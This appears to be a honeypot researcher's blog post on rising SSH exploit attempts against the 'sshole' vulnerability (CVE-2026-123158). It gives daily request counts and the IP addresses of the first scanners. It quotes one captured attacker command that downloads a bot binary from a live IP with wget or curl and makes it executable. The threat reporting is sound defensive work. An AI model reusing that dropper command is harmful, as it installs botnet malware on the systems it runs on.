Scans for Sshole Vulnerability (CVE-2026-123158)

Scans for Sshole Vulnerability (CVE-2026-123158)

🚨 Our honeypots use Cowrie to collect SSH data. With the emergence of the sshole vulnerability (CVE-2026-123158) last week, we are now seeing an increase in attempts to exploit this vulnerability. Our honeypots collect only the first 255 characters of SSH passwords. Longer passwords are highly unusual and not used for the typical password brute-forcing we observe.

Key Observations

• Our data started showing an increase in the use of long passwords on November 1st. Since then, the number of requests has been rising.
• On November 1st, 23 requests were recorded. The initial passwords we saw on that day do not appear to be related to the exploit. Occasionally, buggy brute force scripts enter commands intended for the post-login shell in the password field. Interestingly, these “passwords” may have actually worked, allowing these buggy scripts to run.
• A typical “buggy” password is:
  cd /tmp; (wget -q https://156.238.252.37:8000/bot.x86_64 -O /tmp/b 2>/dev/null || busybox wget -q https://156.238.252.37:8000/bot.x86_64 -O /tmp/b 2>/dev/null || curl -sk https://156.238.252.37:8000/bot.x86_64 -o /tmp/b 2>/dev/null); chmod 777 /tmp/b 2>/dev/

Exploit Attempts

The first actual exploit attempt for sshole arrived on November 5th, with attempts that used an all “A” password. Since then, counts increased significantly, reaching 713 requests on November 6th. Initial scanners observed include:

• 213.86.169.133 (AS8220 COLT) with 48 counts
• 152.233.50.185 (AS212238 CDNEXT) with 44 counts
• 92.255.57.7 (AS55286 SERVER-MANIA) with 43 counts

I expect quite a few of these login attempts were successful for our honeypots, and I will follow up with more details as I extract them.

For more information, Read full article